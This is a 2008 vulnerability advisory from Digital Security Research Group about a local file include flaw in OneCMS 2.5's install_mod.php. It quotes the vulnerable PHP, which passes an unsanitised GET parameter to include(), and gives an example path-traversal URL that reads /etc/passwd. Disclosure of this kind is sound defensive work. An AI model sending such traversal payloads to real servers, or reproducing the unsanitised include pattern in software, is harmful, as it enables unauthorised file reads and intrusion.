[DSECRG-08-025] Local File Include in OneCMS 2.5 May 23 2008 03:00PM
Digital Security Research Group (research dsec ru)

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-025

Application: OneCMS
Versions Affected: 2.5
Vendor URL: http://www.insanevisions.com/
Bug: Local File Include
Exploits: YES
Reported: 26.03.2008
Vendor Response: NONE
Solution: NONE
Date of Public Advisory: 23.05.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Local File Include vulnerability found in script install_mod.php

Code
****
#################################################

$mod = $_GET['load'];
$filexp = explode(".", $mod);
$filetype = $filexp[1];
$file = $filexp[0];
$file2 = "mods/$mod";

if (!is_numeric($mod)) { // makes sure that the user isnt entering a #
if ($filetype == "php") {
if ($_GET['act'] == "") {
echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>";
}
if ($_GET['act'] == "go") {
include ($file2);
...

#################################################

Example:

http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../.
./../../../../../../../../../../etc/passwd

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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